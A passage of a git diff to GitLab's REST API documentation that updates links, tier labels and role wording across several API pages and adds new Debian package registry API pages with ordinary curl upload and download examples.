| `sort` | string | no | Return Merge Trains sorted in `asc` or `desc` order. Default is `desc`. |
diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md
index 6f360cddd61..603d307f4b7 100644
--- a/doc/api/metrics_user_starred_dashboards.md
+++ b/doc/api/metrics_user_starred_dashboards.md
@@ -22,7 +22,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `dashboard_path` | string | yes | URL-encoded path to file defining the dashboard which should be marked as favorite. |
```shell
@@ -53,7 +53,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied, all dashboards within given projects are removed from favorites. |
```shell
diff --git a/doc/api/milestones.md b/doc/api/milestones.md
index 15927ad852e..183d8b4799b 100644
--- a/doc/api/milestones.md
+++ b/doc/api/milestones.md
@@ -4,9 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Project milestones API
+# Project milestones API **(FREE)**
-This page describes the project milestones API.
+Use project [milestones](../user/project/milestones/index.md) with the REST API.
There's a separate [group milestones API](group_milestones.md) page.
## List project milestones
@@ -27,7 +27,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------------------------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | optional | Return only the milestones having the given `iid` (Note: ignored if `include_parent_milestones` is set as `true`) |
| `state` | string | optional | Return only `active` or `closed` milestones |
| `title` | string | optional | Return only the milestones having the given `title` |
@@ -68,7 +68,7 @@ GET /projects/:id/milestones/:milestone_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of the project's milestone
## Create new milestone
@@ -81,7 +81,7 @@ POST /projects/:id/milestones
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `title` (required) - The title of a milestone
- `description` (optional) - The description of the milestone
- `due_date` (optional) - The due date of the milestone
@@ -97,7 +97,7 @@ PUT /projects/:id/milestones/:milestone_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of a project milestone
- `title` (optional) - The title of a milestone
- `description` (optional) - The description of a milestone
@@ -107,7 +107,7 @@ Parameters:
## Delete project milestone
-Only for users with Developer access to the project.
+Only for users with the Developer role in the project.
```plaintext
DELETE /projects/:id/milestones/:milestone_id
@@ -115,7 +115,7 @@ DELETE /projects/:id/milestones/:milestone_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of the project's milestone
## Get all issues assigned to a single milestone
@@ -128,7 +128,7 @@ GET /projects/:id/milestones/:milestone_id/issues
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of a project milestone
## Get all merge requests assigned to a single milestone
@@ -141,14 +141,14 @@ GET /projects/:id/milestones/:milestone_id/merge_requests
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of a project milestone
## Promote project milestone to a group milestone
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53861) in GitLab 11.9
-Only for users with Developer access to the group.
+Only for users with the Developer role in the group.
```plaintext
POST /projects/:id/milestones/:milestone_id/promote
@@ -156,7 +156,7 @@ POST /projects/:id/milestones/:milestone_id/promote
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of a project milestone
## Get all burndown chart events for a single milestone **(PREMIUM)**
@@ -172,5 +172,5 @@ GET /projects/:id/milestones/:milestone_id/burndown_events
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `milestone_id` (required) - The ID of a project milestone
diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md
index 50b28e67c0a..ac8ea95ef30 100644
--- a/doc/api/namespaces.md
+++ b/doc/api/namespaces.md
@@ -11,7 +11,7 @@ Usernames and group names fall under a special category called namespaces.
For users and groups supported API calls see the [users](users.md) and
[groups](groups.md) documentation respectively.
-[Pagination](README.md#pagination) is used.
+[Pagination](index.md#pagination) is used.
## List namespaces
@@ -79,15 +79,14 @@ Example response:
]
```
-Users on GitLab.com [Bronze or higher](https://about.gitlab.com/pricing/#gitlab-com) may also see
-the `plan` parameter associated with a namespace:
+Owners also see the `plan` property associated with a namespace:
```json
[
{
"id": 1,
"name": "user1",
- "plan": "bronze",
+ "plan": "silver",
...
}
]
@@ -114,7 +113,7 @@ once a day.
```
NOTE:
-Only group maintainers/owners are presented with `members_count_with_descendants`, as well as `plan` **(BRONZE ONLY)**.
+Only group owners are presented with `members_count_with_descendants` and `plan`.
## Search for namespace
@@ -168,7 +167,7 @@ GET /namespaces/:id
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the namespace](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | ID or [URL-encoded path of the namespace](index.md#namespaced-path-encoding) |
Example request:
diff --git a/doc/api/notes.md b/doc/api/notes.md
index 0fb13e56f78..6a3db0a2aab 100644
--- a/doc/api/notes.md
+++ b/doc/api/notes.md
@@ -34,7 +34,7 @@ Some system notes are not part of this API, but are recorded as separate events:
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
## Rate limits
@@ -54,7 +54,7 @@ GET /projects/:id/issues/:issue_iid/notes?sort=asc&order_by=updated_at
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
| `issue_iid` | integer | yes | The IID of an issue
| `sort` | string | no | Return issue notes sorted in `asc` or `desc` order. Default is `desc`
| `order_by` | string | no | Return issue notes ordered by `created_at` or `updated_at` fields. Default is `created_at`
@@ -120,7 +120,7 @@ GET /projects/:id/issues/:issue_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `issue_iid` (required) - The IID of a project issue
- `note_id` (required) - The ID of an issue note
@@ -138,7 +138,7 @@ POST /projects/:id/issues/:issue_iid/notes
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `issue_iid` (required) - The IID of an issue
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
- `confidential` (optional) - The confidential flag of a note. Default is false.
@@ -158,7 +158,7 @@ PUT /projects/:id/issues/:issue_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding).
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding).
- `issue_iid` (required) - The IID of an issue.
- `note_id` (required) - The ID of a note.
- `body` (optional) - The content of a note. Limited to 1,000,000 characters.
@@ -180,7 +180,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `note_id` | integer | yes | The ID of a note |
@@ -203,7 +203,7 @@ GET /projects/:id/snippets/:snippet_id/notes?sort=asc&order_by=updated_at
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
| `snippet_id` | integer | yes | The ID of a project snippet
| `sort` | string | no | Return snippet notes sorted in `asc` or `desc` order. Default is `desc`
| `order_by` | string | no | Return snippet notes ordered by `created_at` or `updated_at` fields. Default is `created_at`
@@ -222,7 +222,7 @@ GET /projects/:id/snippets/:snippet_id/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `snippet_id` (required) - The ID of a project snippet
- `note_id` (required) - The ID of a snippet note
@@ -260,7 +260,7 @@ POST /projects/:id/snippets/:snippet_id/notes
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `snippet_id` (required) - The ID of a snippet
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
@@ -279,7 +279,7 @@ PUT /projects/:id/snippets/:snippet_id/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `snippet_id` (required) - The ID of a snippet
- `note_id` (required) - The ID of a note
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
@@ -300,7 +300,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of a snippet |
| `note_id` | integer | yes | The ID of a note |
@@ -321,7 +321,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/notes?sort=asc&order_by=upda
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
| `merge_request_iid` | integer | yes | The IID of a project merge request
| `sort` | string | no | Return merge request notes sorted in `asc` or `desc` order. Default is `desc`
| `order_by` | string | no | Return merge request notes ordered by `created_at` or `updated_at` fields. Default is `created_at`
@@ -340,7 +340,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `merge_request_iid` (required) - The IID of a project merge request
- `note_id` (required) - The ID of a merge request note
@@ -383,7 +383,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/notes
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `merge_request_iid` (required) - The IID of a merge request
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
@@ -398,7 +398,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
- `merge_request_iid` (required) - The IID of a merge request
- `note_id` (required) - The ID of a note
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
@@ -419,7 +419,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `note_id` | integer | yes | The ID of a note |
@@ -440,7 +440,7 @@ GET /groups/:id/epics/:epic_id/notes?sort=asc&order_by=updated_at
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of a group epic |
| `sort` | string | no | Return epic notes sorted in `asc` or `desc` order. Default is `desc` |
| `order_by` | string | no | Return epic notes ordered by `created_at` or `updated_at` fields. Default is `created_at` |
@@ -461,7 +461,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `note_id` | integer | yes | The ID of a note |
@@ -502,7 +502,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
@@ -522,7 +522,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `note_id` | integer | yes | The ID of a note |
| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
@@ -543,7 +543,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `note_id` | integer | yes | The ID of a note |
diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md
index 69bed193f07..390ba7dbd79 100644
--- a/doc/api/notification_settings.md
+++ b/doc/api/notification_settings.md
@@ -4,22 +4,20 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Notification settings API
+# Notification settings API **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5632) in GitLab 8.12.
+Change [notification settings](../user/profile/notifications.md) using the REST API.
## Valid notification levels
The notification levels are defined in the `NotificationSetting.level` model enumeration. Currently, these levels are recognized:
-```plaintext
-disabled
-participating
-watch
-global
-mention
-custom
-```
+- `disabled`
+- `participating`
+- `watch`
+- `global`
+- `mention`
+- `custom`
If the `custom` level is used, specific email events can be controlled. Available events are returned by `NotificationSetting.email_events`. Currently, these events are recognized:
@@ -123,7 +121,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](index.md#namespaced-path-encoding). |
Example response:
@@ -149,7 +147,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](index.md#namespaced-path-encoding) |
| `level` | string | no | The global notification level |
| `new_note` | boolean | no | Enable/disable this notification |
| `new_issue` | boolean | no | Enable/disable this notification |
diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md
index f5c75aac0d9..1b06e554e5e 100644
--- a/doc/api/oauth2.md
+++ b/doc/api/oauth2.md
@@ -218,7 +218,7 @@ https://gitlab.example.com/oauth/authorize?client_id=APP_ID&redirect_uri=REDIREC
This prompts the user to approve the applications access to their account
based on the scopes specified in `REQUESTED_SCOPES` and then redirect back to
the `REDIRECT_URI` you provided. The [scope parameter](https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes#requesting-particular-scopes)
- is a space separated list of scopes you want to have access to (e.g. `scope=read_user+profile`
+ is a space separated list of scopes you want to have access to (for example, `scope=read_user+profile`
would request `read_user` and `profile` scopes). The redirect
includes a fragment with `access_token` as well as token details in GET
parameters, for example:
diff --git a/doc/api/openapi/openapi.yaml b/doc/api/openapi/openapi.yaml
index 46267129b32..cc6a161c783 100644
--- a/doc/api/openapi/openapi.yaml
+++ b/doc/api/openapi/openapi.yaml
@@ -15,7 +15,7 @@ info:
When viewing this on gitlab.com, you can test API calls directly from the browser
against the `gitlab.com` instance, if you are logged in.
- The feature uses the current [GitLab session cookie](https://docs.gitlab.com/ee/api/README.html#session-cookie),
+ The feature uses the current [GitLab session cookie](https://docs.gitlab.com/ee/api/index.html#session-cookie),
so each request is made using your account.
Instructions for using this tool can be found in [Interactive API Documentation](openapi_interactive.md).
diff --git a/doc/api/openapi/openapi_interactive.md b/doc/api/openapi/openapi_interactive.md
index 05fd7b20b75..c9434147609 100644
--- a/doc/api/openapi/openapi_interactive.md
+++ b/doc/api/openapi/openapi_interactive.md
@@ -14,7 +14,7 @@ The [OpenAPI specification](https://swagger.io/specification/) (formerly called
standard, language-agnostic interface to RESTful APIs. OpenAPI definition files are written in the
YAML format, which is automatically rendered by the GitLab browser into a more human-readable interface.
-For general information about the GitLab APIs, see [API Docs](../README.md).
+For general information about the GitLab APIs, see [API Docs](../index.md).
## Overview
diff --git a/doc/api/packages.md b/doc/api/packages.md
index c257105f72e..73092e68c82 100644
--- a/doc/api/packages.md
+++ b/doc/api/packages.md
@@ -23,10 +23,10 @@ GET /projects/:id/packages
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `order_by`| string | no | The field to use as order. One of `created_at` (default), `name`, `version`, or `type`. |
| `sort` | string | no | The direction of the order, either `asc` (default) for ascending order or `desc` for descending order. |
-| `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, or `golang`. (_Introduced in GitLab 12.9_)
+| `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, `helm`, or `golang`. (_Introduced in GitLab 12.9_)
| `package_name` | string | no | Filter the project packages with a fuzzy search by name. (_Introduced in GitLab 12.9_)
| `include_versionless` | boolean | no | When set to true, versionless packages are included in the response. (_Introduced in GitLab 13.8_)
| `status` | string | no | Filter the returned packages by status. One of `default` (default), `hidden`, or `processing`. (_Introduced in GitLab 13.9_)
@@ -69,7 +69,7 @@ Example response:
]
```
-By default, the `GET` request returns 20 results, because the API is [paginated](README.md#pagination).
+By default, the `GET` request returns 20 results, because the API is [paginated](index.md#pagination).
Although you can filter packages by status, working with packages that have a `processing` status
can result in malformed data or broken packages.
@@ -87,11 +87,11 @@ GET /groups/:id/packages
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the group](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). |
| `exclude_subgroups` | boolean | false | If the parameter is included as true, packages from projects from subgroups are not listed. Default is `false`. |
| `order_by`| string | no | The field to use as order. One of `created_at` (default), `name`, `version`, `type`, or `project_path`. |
| `sort` | string | no | The direction of the order, either `asc` (default) for ascending order or `desc` for descending order. |
-| `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, or `golang`. (_Introduced in GitLab 12.9_) |
+| `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, `helm`, or `golang`. (_Introduced in GitLab 12.9_) |
| `package_name` | string | no | Filter the project packages with a fuzzy search by name. (_[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30980) in GitLab 13.0_)
| `include_versionless` | boolean | no | When set to true, versionless packages are included in the response. (_Introduced in GitLab 13.8_)
| `status` | string | no | Filter the returned packages by status. One of `default` (default), `hidden`, or `processing`. (_Introduced in GitLab 13.9_)
@@ -164,7 +164,7 @@ Example response:
]
```
-By default, the `GET` request returns 20 results, because the API is [paginated](README.md#pagination).
+By default, the `GET` request returns 20 results, because the API is [paginated](index.md#pagination).
The `_links` object contains the following properties:
@@ -186,7 +186,7 @@ GET /projects/:id/packages/:package_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `package_id` | integer | yes | ID of a package. |
```shell
@@ -268,7 +268,7 @@ GET /projects/:id/packages/:package_id/package_files
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `package_id` | integer | yes | ID of a package. |
```shell
@@ -327,7 +327,7 @@ Example response:
]
```
-By default, the `GET` request returns 20 results, because the API is [paginated](README.md#pagination).
+By default, the `GET` request returns 20 results, because the API is [paginated](index.md#pagination).
## Delete a project package
@@ -341,7 +341,7 @@ DELETE /projects/:id/packages/:package_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `package_id` | integer | yes | ID of a package. |
```shell
@@ -369,7 +369,7 @@ DELETE /projects/:id/packages/:package_id/package_files/:package_file_id
| Attribute | Type | Required | Description |
| ----------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `package_id` | integer | yes | ID of a package. |
| `package_file_id` | integer | yes | ID of a package file. |
diff --git a/doc/api/packages/debian.md b/doc/api/packages/debian.md
new file mode 100644
index 00000000000..cd97bd609df
--- /dev/null
+++ b/doc/api/packages/debian.md
@@ -0,0 +1,151 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Debian API
+
+This is the API documentation for [Debian](../../user/packages/debian_repository/index.md).
+
+WARNING:
+This API is used by the Debian related package clients such as [dput](https://manpages.debian.org/stable/dput-ng/dput.1.en.html)
+and [apt-get](https://manpages.debian.org/stable/apt/apt-get.8.en.html),
+and is generally not meant for manual consumption. This API is under development and is not ready
+for production use due to limited functionality.
+
+For instructions on how to upload and install Debian packages from the GitLab
+package registry, see the [Debian registry documentation](../../user/packages/debian_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [Debian registry documentation](../../user/packages/debian_repository/index.md)
+for details on which headers and token types are supported.
+
+## Enable the Debian API
+
+The Debian API for GitLab is behind a feature flag that is disabled by default. GitLab
+administrators with access to the GitLab Rails console can enable this API for your instance.
+
+To enable it:
+
+```ruby
+Feature.enable(:debian_packages)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:debian_packages)
+```
+
+## Upload a package file
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62028) in GitLab 14.0.
+
+Upload a Debian package file:
+
+```plaintext
+PUT projects/:id/packages/debian/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `file_name` | string | yes | The name of the Debian package file. |
+
+```shell
+curl --request PUT \
+ --upload-file path/to/mypkg.deb \
+ --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/mypkg.deb"
+```
+
+## Route prefix
+
+The remaining endpoints described are two sets of identical routes that each make requests in
+different scopes:
+
+- Use the project-level prefix to make requests in a single project's scope.
+- Use the group-level prefix to make requests in a single group's scope.
+
+The examples in this document all use the project-level prefix.
+
+### Project-level
+
+```plaintext
+ /projects/:id/packages/debian`
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The project ID or full project path. |
+
+### Group-level
+
+```plaintext
+ /groups/:id/-/packages/debian`
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The project ID or full group path. |
+
+## Download a distribution Release file
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64067) in GitLab 14.1.
+
+Download a Debian package file.
+
+```plaintext
+GET <route-prefix>/dists/*distribution/Release
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `distribution` | string | yes | The codename or suite of the Debian distribution. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/Release"
+```
+
+Write the output to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/Release" \
+ --remote-name
+```
+
+This writes the downloaded file to `Release` in the current directory.
+
+## Download a signed distribution Release file
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64067) in GitLab 14.1.
+
+Download a Debian package file.
+
+Signed releases are [not supported](https://gitlab.com/groups/gitlab-org/-/epics/6057#note_582697034).
+Therefore, this endpoint downloads the unsigned release file.
+
+```plaintext
+GET <route-prefix>/dists/*distribution/InRelease
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `distribution` | string | yes | The codename or suite of the Debian distribution. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/InRelease"
+```
+
+Write the output to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/InRelease" \
+ --remote-name
+```
+
+This writes the downloaded file to `InRelease` in the current directory.
diff --git a/doc/api/packages/debian_group_distributions.md b/doc/api/packages/debian_group_distributions.md
new file mode 100644
index 00000000000..ba61bf49e01
--- /dev/null
+++ b/doc/api/packages/debian_group_distributions.md
@@ -0,0 +1,222 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Debian group distributions API **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5835) in GitLab 14.0.
+
+See the [Debian package registry documentation](../../user/packages/debian_repository/index.md)
+for more information about working with Debian packages.
+
+## Enable Debian repository feature
+
+Debian repository support is gated behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can opt to enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:debian_packages)
+```
+
+To disable it:
+
